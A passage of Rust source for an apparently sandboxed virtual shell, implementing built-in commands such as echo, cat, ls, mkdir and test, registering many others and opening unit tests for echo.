EchoCommand;\n\nstatic ECHO_META: CommandMeta = CommandMeta {\n    name: \"echo\",\n    synopsis: \"echo [-neE] [string ...]\",\n    description: \"Write arguments to standard output.\",\n    options: &[\n        (\"-n\", \"do not output the trailing newline\"),\n        (\"-e\", \"enable interpretation of backslash escapes\"),\n        (\"-E\", \"disable interpretation of backslash escapes\"),\n    ],\n    supports_help_flag: false,\n    flags: &[],\n};\n\nimpl VirtualCommand for EchoCommand {\n    fn name(&self) -> &str {\n        \"echo\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&ECHO_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let mut no_newline = false;\n        let mut interpret_escapes = false;\n        let mut arg_start = 0;\n\n        for (i, arg) in args.iter().enumerate() {\n            if arg.starts_with('-')\n                && arg.len() > 1\n                && arg[1..].chars().all(|c| matches!(c, 'n' | 'e' | 'E'))\n            {\n                for c in arg[1..].chars() {\n                    match c {\n                        'n' => no_newline = true,\n                        'e' => interpret_escapes = true,\n                        'E' => interpret_escapes = false,\n                        _ => unreachable!(),\n                    }\n                }\n                arg_start = i + 1;\n            } else {\n                break;\n            }\n        }\n\n        let text = args[arg_start..].join(\" \");\n        let (output, suppress_newline) = if interpret_escapes {\n            interpret_echo_escapes(&text)\n        } else {\n            (text, false)\n        };\n\n        let stdout = if no_newline || suppress_newline {\n            output\n        } else {\n            format!(\"{output}\\n\")\n        };\n        let stdout_bytes = if crate::shell_bytes::contains_markers(&stdout) {\n            Some(crate::shell_bytes::encode_shell_string(&stdout))\n        } else {\n            None\n        };\n\n        CommandResult {\n            stdout,\n            stderr: String::new(),\n            exit_code: 0,\n            stdout_bytes,\n        }\n    }\n}\n\nfn push_char_bytes(out: &mut Vec<u8>, ch: char) {\n    let mut buf = [0u8; 4];\n    out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes());\n}\n\nfn interpret_echo_escapes(s: &str) -> (String, bool) {\n    let mut result = Vec::with_capacity(s.len());\n    let chars: Vec<char> = s.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '\\\\' && i + 1 < chars.len() {\n            i += 1;\n            match chars[i] {\n                'n' => result.push(b'\\n'),\n                't' => result.push(b'\\t'),\n                '\\\\' => result.push(b'\\\\'),\n                'a' => result.push(0x07),\n                'b' => result.push(0x08),\n                'f' => result.push(0x0C),\n                'r' => result.push(b'\\r'),\n                'v' => result.push(0x0B),\n                'e' | 'E' => result.push(0x1B),\n                'c' => return (crate::shell_bytes::decode_shell_bytes(&result), true),\n                '0' => {\n                    // \\0NNN — octal (up to 3 octal digits after the 0)\n                    let mut val: u32 = 0;\n                    let mut count = 0;\n                    while count < 3\n                        && i + 1 < chars.len()\n                        && chars[i + 1] >= '0'\n                        && chars[i + 1] <= '7'\n                    {\n                        i += 1;\n                        val = val * 8 + (chars[i] as u32 - '0' as u32);\n                        count += 1;\n                    }\n                    result.push((val & 0xFF) as u8);\n                }\n                'x' => {\n                    // \\xHH — hex escape (up to 2 hex digits)\n                    let mut hex = String::new();\n                    while hex.len() < 2 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        result.push(b'\\\\');\n                        result.push(b'x');\n                    } else if let Ok(value) = u32::from_str_radix(&hex, 16) {\n                        result.push((value & 0xFF) as u8);\n                    }\n                }\n                'u' => {\n                    // \\uHHHH — unicode (up to 4 hex digits)\n                    let mut hex = String::new();\n                    while hex.len() < 4 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        result.push(b'\\\\');\n                        result.push(b'u');\n                    } else if let Some(c) =\n                        u32::from_str_radix(&hex, 16).ok().and_then(char::from_u32)\n                    {\n                        push_char_bytes(&mut result, c);\n                    }\n                }\n                'U' => {\n                    // \\UHHHHHHHH — unicode (up to 8 hex digits)\n                    let mut hex = String::new();\n                    while hex.len() < 8 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        result.push(b'\\\\');\n                        result.push(b'U');\n                    } else if let Some(c) =\n                        u32::from_str_radix(&hex, 16).ok().and_then(char::from_u32)\n                    {\n                        push_char_bytes(&mut result, c);\n                    }\n                }\n                other => {\n                    result.push(b'\\\\');\n                    push_char_bytes(&mut result, other);\n                }\n            }\n        } else {\n            push_char_bytes(&mut result, chars[i]);\n        }\n        i += 1;\n    }\n    (crate::shell_bytes::decode_shell_bytes(&result), false)\n}\n\n/// The `true` command: always succeeds (exit code 0).\npub struct TrueCommand;\n\nstatic TRUE_META: CommandMeta = CommandMeta {\n    name: \"true\",\n    synopsis: \"true\",\n    description: \"Do nothing, successfully.\",\n    options: &[],\n    supports_help_flag: false,\n    flags: &[],\n};\n\nimpl VirtualCommand for TrueCommand {\n    fn name(&self) -> &str {\n        \"true\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TRUE_META)\n    }\n\n    fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n        CommandResult::default()\n    }\n}\n\n/// The `false` command: always fails (exit code 1).\npub struct FalseCommand;\n\nstatic FALSE_META: CommandMeta = CommandMeta {\n    name: \"false\",\n    synopsis: \"false\",\n    description: \"Do nothing, unsuccessfully.\",\n    options: &[],\n    supports_help_flag: false,\n    flags: &[],\n};\n\nimpl VirtualCommand for FalseCommand {\n    fn name(&self) -> &str {\n        \"false\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&FALSE_META)\n    }\n\n    fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n        CommandResult {\n            exit_code: 1,\n            ..CommandResult::default()\n        }\n    }\n}\n\n/// The `cat` command: concatenate files and/or stdin.\npub struct CatCommand;\n\nstatic CAT_META: CommandMeta = CommandMeta {\n    name: \"cat\",\n    synopsis: \"cat [-n] [FILE ...]\",\n    description: \"Concatenate files and print on standard output.\",\n    options: &[(\"-n, --number\", \"number all output lines\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for CatCommand {\n    fn name(&self) -> &str {\n        \"cat\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&CAT_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut number_lines = false;\n        let mut files: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if arg == \"-n\" || arg == \"--number\" {\n                number_lines = true;\n            } else if arg == \"-\" {\n                files.push(\"-\");\n            } else if arg.starts_with('-') && arg.len() > 1 {\n                // Unknown flags — ignore for compatibility\n            } else {\n                files.push(arg);\n            }\n        }\n\n        // No files specified → read from stdin\n        if files.is_empty() {\n            files.push(\"-\");\n        }\n\n        let mut output = String::new();\n        let mut output_bytes = Vec::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let (content, raw_bytes) = if *file == \"-\" || *file == \"/dev/stdin\" {\n                let bytes = ctx\n                    .stdin_bytes\n                    .map(|b| b.to_vec())\n                    .unwrap_or_else(|| crate::shell_bytes::encode_shell_string(ctx.stdin));\n                (crate::shell_bytes::decode_shell_bytes(&bytes), bytes)\n            } else if *file == \"/dev/null\" || *file == \"/dev/zero\" || *file == \"/dev/full\" {\n                (String::new(), Vec::new())\n            } else {\n                let path = if file.starts_with('/') {\n                    std::path::PathBuf::from(file)\n                } else {\n                    std::path::PathBuf::from(ctx.cwd).join(file)\n                };\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => (crate::shell_bytes::decode_shell_bytes(&bytes), bytes),\n                    Err(e) => {\n                        stderr.push_str(&format!(\"cat: {file}: {e}\\n\"));\n                        exit_code = 1;\n                        continue;\n                    }\n                }\n            };\n\n            if number_lines {\n                let lines: Vec<&str> = content.split('\\n').collect();\n                let line_count = if content.ends_with('\\n') && lines.last() == Some(&\"\") {\n                    lines.len() - 1\n                } else {\n                    lines.len()\n                };\n                for (i, line) in lines.iter().take(line_count).enumerate() {\n                    output.push_str(&format!(\"     {}\\t{}\", i + 1, line));\n                    if i < line_count - 1 || content.ends_with('\\n') {\n                        output.push('\\n');\n                    }\n                }\n            } else {\n                output.push_str(&content);\n            }\n            output_bytes.extend_from_slice(&raw_bytes);\n        }\n\n        let has_marker_output = crate::shell_bytes::contains_markers(&output);\n        CommandResult {\n            stdout: output,\n            stderr,\n            exit_code,\n            stdout_bytes: if number_lines || !has_marker_output {\n                None\n            } else {\n                Some(output_bytes)\n            },\n        }\n    }\n}\n\n/// The `pwd` command: print working directory.\npub struct PwdCommand;\n\nstatic PWD_META: CommandMeta = CommandMeta {\n    name: \"pwd\",\n    synopsis: \"pwd\",\n    description: \"Print the current working directory.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for PwdCommand {\n    fn name(&self) -> &str {\n        \"pwd\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&PWD_META)\n    }\n\n    fn execute(&self, _args: &[String], ctx: &CommandContext) -> CommandResult {\n        CommandResult {\n            stdout: format!(\"{}\\n\", ctx.cwd),\n            stderr: String::new(),\n            exit_code: 0,\n            stdout_bytes: None,\n        }\n    }\n}\n\n/// The `touch` command: create empty file or update mtime.\npub struct TouchCommand;\n\nstatic TOUCH_META: CommandMeta = CommandMeta {\n    name: \"touch\",\n    synopsis: \"touch FILE ...\",\n    description: \"Update file access and modification times, creating files if needed.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for TouchCommand {\n    fn name(&self) -> &str {\n        \"touch\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TOUCH_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        // Parse args: skip flags before `--`, treat everything after `--` as filenames\n        let mut files: Vec<&str> = Vec::new();\n        let mut past_options = false;\n        for arg in args {\n            if past_options {\n                files.push(arg.as_str());\n            } else if arg == \"--\" {\n                past_options = true;\n            } else if arg.starts_with('-') && arg.len() > 1 {\n                // skip known flags (e.g. -c, -m, -a, etc.)\n                continue;\n            } else {\n                files.push(arg.as_str());\n            }\n        }\n\n        if files.is_empty() {\n            return CommandResult {\n                stdout: String::new(),\n                stderr: \"touch: missing file operand\\n\".to_string(),\n                exit_code: 1,\n                stdout_bytes: None,\n            };\n        }\n\n        for file in files {\n            let path = if file.starts_with('/') {\n                std::path::PathBuf::from(file)\n            } else {\n                std::path::PathBuf::from(ctx.cwd).join(file)\n            };\n\n            if ctx.fs.exists(&path) {\n                // Update mtime\n                if let Err(e) = ctx.fs.utimes(&path, crate::platform::SystemTime::now()) {\n                    stderr.push_str(&format!(\"touch: cannot touch '{}': {}\\n\", file, e));\n                    exit_code = 1;\n                }\n            } else {\n                // Create empty file\n                if let Err(e) = ctx.fs.write_file(&path, b\"\") {\n                    stderr.push_str(&format!(\"touch: cannot touch '{}': {}\\n\", file, e));\n                    exit_code = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n/// The `mkdir` command: create directories (`-p` for parents).\npub struct MkdirCommand;\n\nstatic MKDIR_META: CommandMeta = CommandMeta {\n    name: \"mkdir\",\n    synopsis: \"mkdir [-p] DIRECTORY ...\",\n    description: \"Create directories.\",\n    options: &[(\"-p, --parents\", \"create parent directories as needed\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for MkdirCommand {\n    fn name(&self) -> &str {\n        \"mkdir\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&MKDIR_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut parents = false;\n        let mut dirs: Vec<&str> = Vec::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for arg in args {\n            if arg == \"-p\" || arg == \"--parents\" {\n                parents = true;\n            } else if arg.starts_with('-') {\n                // skip unknown flags\n            } else {\n                dirs.push(arg);\n            }\n        }\n\n        if dirs.is_empty() {\n            return CommandResult {\n                stdout: String::new(),\n                stderr: \"mkdir: missing operand\\n\".to_string(),\n                exit_code: 1,\n                stdout_bytes: None,\n            };\n        }\n\n        for dir in dirs {\n            let path = if dir.starts_with('/') {\n                std::path::PathBuf::from(dir)\n            } else {\n                std::path::PathBuf::from(ctx.cwd).join(dir)\n            };\n\n            let result = if parents {\n                ctx.fs.mkdir_p(&path)\n            } else {\n                ctx.fs.mkdir(&path)\n            };\n\n            if let Err(e) = result {\n                stderr.push_str(&format!(\n                    \"mkdir: cannot create directory '{}': {}\\n\",\n                    dir, e\n                ));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n/// The `ls` command: list directory contents.\npub struct LsCommand;\n\nstatic LS_FLAGS: &[FlagInfo] = &[\n    FlagInfo {\n        flag: \"-a\",\n        description: \"show hidden entries\",\n        status: FlagStatus::Supported,\n    },\n    FlagInfo {\n        flag: \"-l\",\n        description: \"long listing format\",\n        status: FlagStatus::Supported,\n    },\n    FlagInfo {\n        flag: \"-1\",\n        description: \"one entry per line\",\n        status: FlagStatus::Supported,\n    },\n    FlagInfo {\n        flag: \"-R\",\n        description: \"recursive listing\",\n        status: FlagStatus::Supported,\n    },\n    FlagInfo {\n        flag: \"-t\",\n        description: \"sort by modification time\",\n        status: FlagStatus::Ignored,\n    },\n    FlagInfo {\n        flag: \"-S\",\n        description: \"sort by file size\",\n        status: FlagStatus::Ignored,\n    },\n    FlagInfo {\n        flag: \"-h\",\n        description: \"human-readable sizes\",\n        status: FlagStatus::Ignored,\n    },\n];\n\nstatic LS_META: CommandMeta = CommandMeta {\n    name: \"ls\",\n    synopsis: \"ls [-alR1] [FILE ...]\",\n    description: \"List directory contents.\",\n    options: &[\n        (\"-a\", \"do not ignore entries starting with .\"),\n        (\"-l\", \"use a long listing format\"),\n        (\"-1\", \"list one file per line\"),\n        (\"-R\", \"list subdirectories recursively\"),\n    ],\n    supports_help_flag: true,\n    flags: LS_FLAGS,\n};\n\nimpl VirtualCommand for LsCommand {\n    fn name(&self) -> &str {\n        \"ls\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&LS_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut show_all = false;\n        let mut long_format = false;\n        let mut one_per_line = false;\n        let mut recursive = false;\n        let mut targets: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if arg.starts_with('-') && arg.len() > 1 && !arg.starts_with(\"--\") {\n                for c in arg[1..].chars() {\n                    match c {\n                        'a' => show_all = true,\n                        'l' => long_format = true,\n                        '1' => one_per_line = true,\n                        'R' => recursive = true,\n                        _ => {}\n                    }\n                }\n            } else {\n                targets.push(arg);\n            }\n        }\n\n        if targets.is_empty() {\n            targets.push(\".\");\n        }\n\n        let opts = LsOptions {\n            show_all,\n            long_format,\n            one_per_line,\n            recursive,\n        };\n        let mut out = LsOutput {\n            stdout: String::new(),\n            stderr: String::new(),\n            exit_code: 0,\n        };\n        let multi_target = targets.len() > 1 || recursive;\n\n        for (idx, target) in targets.iter().enumerate() {\n            let path = if *target == \".\" {\n                std::path::PathBuf::from(ctx.cwd)\n            } else if target.starts_with('/') {\n                std::path::PathBuf::from(target)\n            } else {\n                std::path::PathBuf::from(ctx.cwd).join(target)\n            };\n\n            if idx > 0 {\n                out.stdout.push('\\n');\n            }\n\n            ls_dir(ctx, &path, target, &opts, multi_target, &mut out);\n        }\n\n        CommandResult {\n            stdout: out.stdout,\n            stderr: out.stderr,\n            exit_code: out.exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nstruct LsOptions {\n    show_all: bool,\n    long_format: bool,\n    one_per_line: bool,\n    recursive: bool,\n}\n\nstruct LsOutput {\n    stdout: String,\n    stderr: String,\n    exit_code: i32,\n}\n\nfn ls_dir(\n    ctx: &CommandContext,\n    path: &std::path::Path,\n    display_name: &str,\n    opts: &LsOptions,\n    show_header: bool,\n    out: &mut LsOutput,\n) {\n    let entries = match ctx.fs.readdir(path) {\n        Ok(e) => e,\n        Err(e) => {\n            if let Ok(meta) = ctx.fs.stat(path)\n                && meta.node_type != crate::vfs::NodeType::Directory\n            {\n                if opts.long_format {\n                    let type_char = match meta.node_type {\n                        crate::vfs::NodeType::Directory => 'd',\n                        crate::vfs::NodeType::Symlink => 'l',\n                        crate::vfs::NodeType::File => '-',\n                    };\n                    out.stdout.push_str(&format!(\n                        \"{}{} {}\\n\",\n                        type_char,\n                        format_mode(meta.mode),\n                        display_name\n                    ));\n                } else {\n                    out.stdout.push_str(display_name);\n                    out.stdout.push('\\n');\n                }\n                return;\n            }\n            out.stderr\n                .push_str(&format!(\"ls: cannot access '{}': {}\\n\", display_name, e));\n            out.exit_code = 2;\n            return;\n        }\n    };\n\n    if show_header {\n        out.stdout.push_str(&format!(\"{}:\\n\", display_name));\n    }\n\n    let mut names: Vec<(String, crate::vfs::NodeType)> = entries\n        .iter()\n        .filter(|e| opts.show_all || !e.name.starts_with('.'))\n        .map(|e| (e.name.clone(), e.node_type))\n        .collect();\n    names.sort_by(|a, b| a.0.to_lowercase().cmp(&b.0.to_lowercase()));\n\n    if opts.long_format {\n        for (name, node_type) in &names {\n            let child_path = path.join(name);\n            let meta = ctx.fs.stat(&child_path);\n            let mode = match meta {\n                Ok(m) => m.mode,\n                Err(_) => 0o644,\n            };\n            let type_char = match node_type {\n                crate::vfs::NodeType::Directory => 'd',\n                crate::vfs::NodeType::Symlink => 'l',\n                crate::vfs::NodeType::File => '-',\n            };\n            out.stdout\n                .push_str(&format!(\"{}{} {}\\n\", type_char, format_mode(mode), name));\n        }\n    } else if opts.one_per_line {\n        for (name, _) in &names {\n            out.stdout.push_str(name);\n            out.stdout.push('\\n');\n        }\n    } else {\n        // Default: space-separated on one line\n        let name_strs: Vec<&str> = names.iter().map(|(n, _)| n.as_str()).collect();\n        if !name_strs.is_empty() {\n            out.stdout.push_str(&name_strs.join(\"  \"));\n            out.stdout.push('\\n');\n        }\n    }\n\n    if opts.recursive {\n        let subdirs: Vec<(String, std::path::PathBuf)> = names\n            .iter()\n            .filter(|(_, t)| matches!(t, crate::vfs::NodeType::Directory))\n            .map(|(n, _)| (n.clone(), path.join(n)))\n            .collect();\n\n        for (name, subpath) in subdirs {\n            out.stdout.push('\\n');\n            let sub_display = if display_name == \".\" {\n                format!(\"./{}\", name)\n            } else {\n                format!(\"{}/{}\", display_name, name)\n            };\n            ls_dir(ctx, &subpath, &sub_display, opts, true, out);\n        }\n    }\n}\n\nfn format_mode(mode: u32) -> String {\n    let mut s = String::with_capacity(9);\n    let flags = [\n        (0o400, 'r'),\n        (0o200, 'w'),\n        (0o100, 'x'),\n        (0o040, 'r'),\n        (0o020, 'w'),\n        (0o010, 'x'),\n        (0o004, 'r'),\n        (0o002, 'w'),\n        (0o001, 'x'),\n    ];\n    for (bit, ch) in flags {\n        s.push(if mode & bit != 0 { ch } else { '-' });\n    }\n    s\n}\n\n/// The `test` command: evaluate conditional expressions.\npub struct TestCommand;\n\nstatic TEST_META: CommandMeta = CommandMeta {\n    name: \"test\",\n    synopsis: \"test EXPRESSION\",\n    description: \"Evaluate conditional expression.\",\n    options: &[\n        (\"-e FILE\", \"FILE exists\"),\n        (\"-f FILE\", \"FILE exists and is a regular file\"),\n        (\"-d FILE\", \"FILE exists and is a directory\"),\n        (\"-z STRING\", \"the length of STRING is zero\"),\n        (\"-n STRING\", \"the length of STRING is nonzero\"),\n        (\"s1 = s2\", \"the strings are equal\"),\n        (\"s1 != s2\", \"the strings are not equal\"),\n        (\"n1 -eq n2\", \"integers are equal\"),\n        (\"n1 -lt n2\", \"first integer is less than second\"),\n    ],\n    supports_help_flag: false,\n    flags: &[],\n};\n\nimpl VirtualCommand for TestCommand {\n    fn name(&self) -> &str {\n        \"test\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TEST_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        test_cmd::evaluate_test_args(args, ctx)\n    }\n}\n\n/// The `[` command: evaluate conditional expressions (requires closing `]`).\npub struct BracketCommand;\n\nstatic BRACKET_META: CommandMeta = CommandMeta {\n    name: \"[\",\n    synopsis: \"[ EXPRESSION ]\",\n    description: \"Evaluate conditional expression (synonym for test).\",\n    options: &[],\n    supports_help_flag: false,\n    flags: &[],\n};\n\nimpl VirtualCommand for BracketCommand {\n    fn name(&self) -> &str {\n        \"[\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&BRACKET_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() || args.last().map(|s| s.as_str()) != Some(\"]\") {\n            return CommandResult {\n                stderr: \"[: missing ']'\\n\".to_string(),\n                exit_code: 2,\n                ..CommandResult::default()\n            };\n        }\n        // Strip the closing ]\n        test_cmd::evaluate_test_args(&args[..args.len() - 1], ctx)\n    }\n}\n\n/// `fgrep` — alias for `grep -F`.\npub struct FgrepCommand;\n\nstatic FGREP_META: CommandMeta = CommandMeta {\n    name: \"fgrep\",\n    synopsis: \"fgrep [OPTIONS] PATTERN [FILE ...]\",\n    description: \"Equivalent to grep -F (fixed-string search).\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for FgrepCommand {\n    fn name(&self) -> &str {\n        \"fgrep\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&FGREP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut new_args = vec![\"-F\".to_string()];\n        new_args.extend(args.iter().cloned());\n        text::GrepCommand.execute(&new_args, ctx)\n    }\n}\n\n/// `egrep` — alias for `grep -E`.\npub struct EgrepCommand;\n\nstatic EGREP_META: CommandMeta = CommandMeta {\n    name: \"egrep\",\n    synopsis: \"egrep [OPTIONS] PATTERN [FILE ...]\",\n    description: \"Equivalent to grep -E (extended regexp search).\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for EgrepCommand {\n    fn name(&self) -> &str {\n        \"egrep\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&EGREP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut new_args = vec![\"-E\".to_string()];\n        new_args.extend(args.iter().cloned());\n        text::GrepCommand.execute(&new_args, ctx)\n    }\n}\n\n/// Register the default set of commands.\npub fn register_default_commands() -> HashMap<String, Arc<dyn VirtualCommand>> {\n    let mut commands: HashMap<String, Arc<dyn VirtualCommand>> = HashMap::new();\n    let defaults: Vec<Arc<dyn VirtualCommand>> = vec![\n        Arc::new(EchoCommand),\n        Arc::new(TrueCommand),\n        Arc::new(FalseCommand),\n        Arc::new(CatCommand),\n        Arc::new(PwdCommand),\n        Arc::new(TouchCommand),\n        Arc::new(MkdirCommand),\n        Arc::new(LsCommand),\n        Arc::new(TestCommand),\n        Arc::new(BracketCommand),\n        // Phase 10a: file operations\n        Arc::new(file_ops::CpCommand),\n        Arc::new(file_ops::MvCommand),\n        Arc::new(file_ops::RmCommand),\n        Arc::new(file_ops::TeeCommand),\n        Arc::new(file_ops::StatCommand),\n        Arc::new(file_ops::ChmodCommand),\n        Arc::new(file_ops::MkfifoCommand),\n        Arc::new(file_ops::LnCommand),\n        // Phase 10b: text processing\n        Arc::new(text::GrepCommand),\n        Arc::new(text::SortCommand),\n        Arc::new(text::UniqCommand),\n        Arc::new(text::CutCommand),\n        Arc::new(text::HeadCommand),\n        Arc::new(text::TailCommand),\n        Arc::new(text::WcCommand),\n        Arc::new(text::TrCommand),\n        Arc::new(text::RevCommand),\n        Arc::new(text::FoldCommand),\n        Arc::new(text::NlCommand),\n        Arc::new(text::PrintfCommand),\n        Arc::new(text::PasteCommand),\n        Arc::new(text::OdCommand),\n        // M2.6: remaining text commands\n        Arc::new(text::TacCommand),\n        Arc::new(text::CommCommand),\n        Arc::new(text::JoinCommand),\n        Arc::new(text::FmtCommand),\n        Arc::new(text::ColumnCommand),\n        Arc::new(text::ExpandCommand),\n        Arc::new(text::UnexpandCommand),\n        // Phase 10c: navigation\n        Arc::new(navigation::RealpathCommand),\n        Arc::new(navigation::BasenameCommand),\n        Arc::new(navigation::DirnameCommand),\n        Arc::new(navigation::TreeCommand),\n        // Phase 10d: utilities\n        Arc::new(utils::ExprCommand),\n        Arc::new(utils::DateCommand),\n        Arc::new(utils::SleepCommand),\n        Arc::new(utils::SeqCommand),\n        Arc::new(utils::EnvCommand),\n        Arc::new(utils::PrintenvCommand),\n        Arc::new(utils::WhichCommand),\n        Arc::new(utils::Base64Command),\n        Arc::new(utils::Md5sumCommand),\n        Arc::new(utils::Sha256sumCommand),\n        Arc::new(utils::WhoamiCommand),\n        Arc::new(utils::HostnameCommand),\n        Arc::new(utils::UnameCommand),\n        Arc::new(utils::YesCommand),\n        // Phase 10e: commands needing exec callback\n        Arc::new(exec_cmds::XargsCommand),\n        Arc::new(exec_cmds::FindCommand),\n        // M2.5: diff\n        Arc::new(diff_cmd::DiffCommand),\n        // M2.2: sed\n        Arc::new(sed::SedCommand),\n        // M2.4: jq\n        Arc::new(jq_cmd::JqCommand),\n        // M2.3: awk\n        Arc::new(awk::AwkCommand),\n        // M7.2: core utility commands\n        Arc::new(utils::Sha1sumCommand),\n        Arc::new(utils::TimeoutCommand),\n        Arc::new(utils::FileCommand),\n        Arc::new(utils::BcCommand),\n        Arc::new(utils::ClearCommand),\n        Arc::new(FgrepCommand),\n        Arc::new(EgrepCommand),\n        // M7.4: binary and file inspection\n        Arc::new(text::StringsCommand),\n        // M7.5: search commands\n        Arc::new(text::RgCommand),\n        // M7.2: file operations\n        Arc::new(file_ops::ReadlinkCommand),\n        Arc::new(file_ops::RmdirCommand),\n        Arc::new(file_ops::DuCommand),\n        Arc::new(file_ops::SplitCommand),\n        // M7.3: compression and archiving\n        Arc::new(compression::GzipCommand),\n        Arc::new(compression::GunzipCommand),\n        Arc::new(compression::ZcatCommand),\n        Arc::new(compression::TarCommand),\n    ];\n    for cmd in defaults {\n        commands.insert(cmd.name().to_string(), cmd);\n    }\n    // M3.2: network (feature-gated)\n    #[cfg(feature = \"network\")]\n    {\n        commands.insert(\"curl\".to_string(), Arc::new(net::CurlCommand));\n    }\n    commands\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::InMemoryFs;\n    use std::sync::Arc;\n\n    fn test_ctx() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        (\n            Arc::new(InMemoryFs::new()),\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    #[test]\n    fn echo_no_args() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[], &ctx);\n        assert_eq!(result.stdout, \"\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn echo_simple_text() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"hello\".into(), \"world\".into()], &ctx);\n        assert_eq!(result.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn echo_flag_n() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-n\".into(), \"hello\".into()], &ctx);\n        assert_eq!(result.stdout, \"hello\");\n    }\n\n    #[test]\n    fn echo_escape_newline() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-e\".into(), \"hello\\\\nworld\".into()], &ctx);\n        assert_eq!(result.stdout, \"hello\\nworld\\n\");\n    }\n\n    #[test]\n    fn echo_escape_tab() {\n        let (fs, env, limits, np) = test_ctx();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let result = EchoCommand.execute(&[\"-e\".into(), \"a\\\\tb\".into()], &ctx);\n        assert_eq!(result.stdout, \"a\\tb\\n\");\n    }\n\n    